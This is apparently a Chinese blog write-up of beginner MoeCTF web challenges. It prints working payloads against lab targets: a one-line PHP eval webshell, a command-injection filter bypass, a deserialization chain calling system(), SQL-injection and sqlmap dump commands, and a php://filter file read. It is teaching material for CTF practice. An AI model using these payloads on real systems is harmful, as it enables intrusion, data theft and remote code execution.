前言
西电的新生赛,用来入门web再合适不过,我这里也刷一下前几年的moectf来整理相关的考点,顺便复健一下一些考点(
题目名称搜MoeCTF即可
[MoeCTF 2021]Web安全入门指北—GET
get请求
进入题目,给了源码
<?php
include "flag.php";
$moe = $_GET['moe'];
if ($moe == "flag") {
echo $flag;
}else {
highlight_file(__FILE__);
}
只要我们发送一个get请求moe=flag就能获取flag了
亦可以尝试用python或者burp发包解题
[MoeCTF 2021]Web安全入门指北—小饼干
http cookie请求
题目的名字叫做小饼干,也就是cookie的意思
进入题目,我们可以在f12的网络里面看到cookie的值为VIP=0
题目告诉我们You are not VIP,I will give flag to VIP!
意思应该是把VIP的值改为1
要修改cookie,我们可以使用hackbar
或者BurpSuite抓包修改
也可以用python的request模块发送请求
import requests
url = "http://node2.anna.nssctf.cn:28722/"
cookie = {'VIP': '1'}
header = {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0',
}
x = requests.get(url=url, headers=header, cookies=cookie)
if (x.status_code == 200): {print(x.text)}
else: {print(x.status_code)}
运行得到页面回显
更多的python与request库相关的知识建议自行搜索学习
[MoeCTF 2021]Do you know HTTP
http协议
进入题目,回显”用’HS’来请求试试?”
意思是让我们以HS的请求方式发送请求,但是hackbar显然无法做到这点
那就只能用burpsuite了,抓包发到重放器更改请求方式为HS
要求本地ip地址,也就是要我们更改请求头伪造ip为127.0.0.1
我们这边选择更改xff头
这个意思是要我们修改referer
然后我们需要修改UA头
得到flag
[MoeCTF 2022]baby_file
文件包含 php伪协议
进入题目,我们能看见php+html源码
<html>
<title>Here's a secret. Can you find it?</title>
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>
因为题目中出现了include
函数,我们可以得知这题的考点是文件包含
然后题目要求我们get请求传入一个file参数,所以我们可以尝试直接读取flag.php(大多数情况下flag文件的名称都是这个)
用hackbar传参
发现语法解析错误不能直接读取,那我们就尝试用php伪协议进行base64编码来读取文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
成功回显,把整串编码复制下来到cyberchef进行解码(下载链接:https://github.com/gchq/CyberChef,进去点击Releases下载压缩包解压即可)
得到flag
[MoeCTF 2022]ezhtml
js
进入题目,是一个页面,页面上没有可交互的东西
这个时候我们就要f12打开开发者工具来找找信息了
可以看到这里的html中引入了一个evil.js的js文件,或许里面会藏有信息
选择调试器就能看到js文件的内容了,可以发现flag就在这里
[MoeCTF 2021]2048
js
进入题目,是一个2048小游戏的界面
像这种网页上的小游戏很多都是用js写的
所以我们这里f12直接看js文件
代码很多行,为了能快速找到我们需要的信息,我们需要ctrl+f来搜索一些关键字
alert
是js中常用的一个函数,能够弹出一个消息框
这里直接搜alert
这里发现游戏结束的消息,下面还有一个obj.getFlag()
函数
来到控制台,尝试执行这个函数
弹出消息框,要我们超过50000分才给flag
再回到js文件处,我们搜一下getFlag
函数的内容
可以发现只要我们get请求传入flag.php?score=
就能自定义分数
那么我们就hackbar发送请求看看
得到flag
[MoeCTF 2022]what are y0u uploading?
文件上传
有的时候,ctf题目的考点会藏在题目里,比如这题,就是文件上传
进入题目,是一个文件上传的界面
我们尝试直接上传一句话木马上去
<?php
@eval($_POST['0w0']);
?>
可以看到这里被拦截了,由于这里弹出的是个消息框,我们可以知道这属于前端拦截
对于这种情况,我们可以禁用js(不同的浏览器禁用方式不一样)
这里禁用了js,再次上传,返回”application/octet-stream文件上传类型错误”
那我们只能上传图片马,抓包改为php后缀
返回了”文件上传成功!filename:0w0.php 我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!”
那我们把上传的文件名改成f1ag.php就能获得flag
[MoeCTF 2022]ezphp
变量覆盖
进入题目,看到php源码
<?php
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
可以发现出现了foreach
函数和$$
这两个变量覆盖的特征,函数的作用建议自行搜索
审计代码,要想得到flag,首先要get传参或者post传参,参数名为flag,其次传入参数flag的值就是不能等于flag
然后是变量覆盖的部分
get传参和post传参的差别在于键值$value
前是否多了个$
要进行变量覆盖,我们就得选择get传参
通过其它参数把$flag
的值带出来,再覆盖回去
payload:
[MoeCTF 2021]babyRCE
RCE
进入题目,看到源码
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
直接给了system
函数,那里面就可以执行linux的相关命令
明显是一道RCE,正则表达式过滤了常见的读取命令,空格,中文的单引号和英文的双引号
但是这里都是对整个命令的过滤
也就是说我们可以用\
绕过来执行读取文件的命令
空格可以使用${IFS}
来绕过
flag可以用通配符?
绕过
最终payload:
?rce=ca\t${IFS}fla?.php
[MoeCTF 2021]unserialize
反序列化
题目直接告诉我们这题考反序列化
进入题目,看到源码
<?php
class entrance
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;
function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
反序列化的做法呢,一般是先把对应的类复制到本地php文件上,然后通过构造类之间的联系实现命令执行,这里建议先学习一下php的类与方法
回到题目,我们首先可以看到在evil类中的__get
魔术方法下存在eval
能够进行命令执行,那么为了触发__get
魔术方法,我们需要读取读取(例如echo)不可访问或者不存在的属性(此部分详见php魔术方法)
很明显在springboard类中的__call
魔术方法下使用了echo读取了一个不存在的属性hs,然后为了触发__call
魔术方法,我们需要在对象中调用一个不存在或不可访问的方法
符合条件的就是entrance类中的__destruct
魔术方法下调用了一个不存在的方法helloworld()
这么一来整个链子就很清晰了,entrance:: __destruct --> springboard:: __call --> evil:: __get
payload:
<?php
class entrance
{
public $start;
}
class springboard
{
public $middle;
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
}
$a=new entrance();
$a->start=new springboard();
$a->start->middle=new evil("system('ls /');");
echo serialize($a);
// O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:15:"system('ls /');";}}}
成功列出目录
修改一下payload再次执行就能获得flag了
[MoeCTF 2022]Sqlmap_boy
sql注入
标题都叫sqlmap了,那我们直接上sqlmap一把梭
进入题目,是个登录框,f12发现注释中存在sql查询语句
$sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";';
先试试万能密码
1" or 1=1#
成功进入,发现路由和注入点
sqlmap,启动!(x
sqlmap -u "http://node2.anna.nssctf.cn:28418/secrets.php?id=" --referer="http://node2.anna.nssctf.cn:28418/" --cookie="PHPSESSID=0eb4b51c13e8d287dbe40f7f51db694f" --dbs
现在开始盲注(
最终shell
sqlmap -u "http://node2.anna.nssctf.cn:28418/secrets.php?id=" --referer="http://node2.anna.nssctf.cn:28418/" --cookie="PHPSESSID=0eb4b51c13e8d287dbe40f7f51db694f" -D moectf -T flag --dump
手工注入
看了一下别的师傅的手工wp,其实正常的注入就行了,好像没有过滤
-1' union select 1,database(),3--+
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='moectf'--+
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='moectf' and table_name='flag'--+
-1' union select 1,group_concat(flAg),3 from flag --+
[MoeCTF 2021]fake game
js原型链污染
新生赛上nodejs原型链污染是吧
进入题目,看起来是个游戏,先f12看看内嵌的js
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
<style>
.myForm {
}
</style>
<script src="/static/jquery.min.js"></script>
</head>
<body>
<div>你有十点属性值可以用来分配,合理分配属性去挑战魔王吧!!!</div>
<!--如果你将某一项属性值设为0,你将没有这项属性-->
<form class="myForm">
<div>
<label for="health">生命值:</label>
<input id="health" type="text">
</div>
<div>
<label for="attack">攻击力:</label>
<input id="attack" type="text">
</div>
<div>
<label for="armor">护甲:</label>
<input id="armor" type="text">
</div>
<button type="button" id="submit">创建角色</button>
</form>
<script type="text/javascript">
$(function () {
$("#submit").on('click', function () {
$.ajax({
type: "POST",
url: "/api/fight",
contentType: "application/json; charset=utf-8",
dataType: 'json',
data: JSON.stringify({
attributes: {
health: parseInt($("#health").val()),
attack: parseInt($("#attack").val()),
armor: parseInt($("#armor").val()),
}
}),
success: function (res) {
if (res.status === 200) {
alert(res.result);
} else if(res.status === 403){
alert("Invalid input, please try again");
} else if(res.status === 500){
alert("Json data only!");
}
},
})
})
});
</script>
</body>
</html>
这样看没什么头绪,先随便输入数据进去看看
出现了merge,那说明这题应该是考js原型链污染
先点击创建角色抓个包
然后写入__proto__
属性指向原型重新修改角色的属性值
得到flag
[MoeCTF 2021]地狱通讯
python格式化字符串
进入题目,ctrl+u查看格式化的python源码
from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp
if exp == "":
return ctx
else:
return message.format(flAg)
if __name__ == "__main__":
app.run()
这里可以get传入f1ag和exp两个参数,并且出现了format
方法,也就是说这题属于python格式化字符串漏洞
payload:
?f1ag=&exp={0.__class__.__init__.__globals__}
查看环境变量就能找到flag了
后日谈
剩下几题环境都有问题,不管了,新生把上面这几题搞定就已经很厉害了(
本人入坑的比赛不是西电CTF真是抱歉555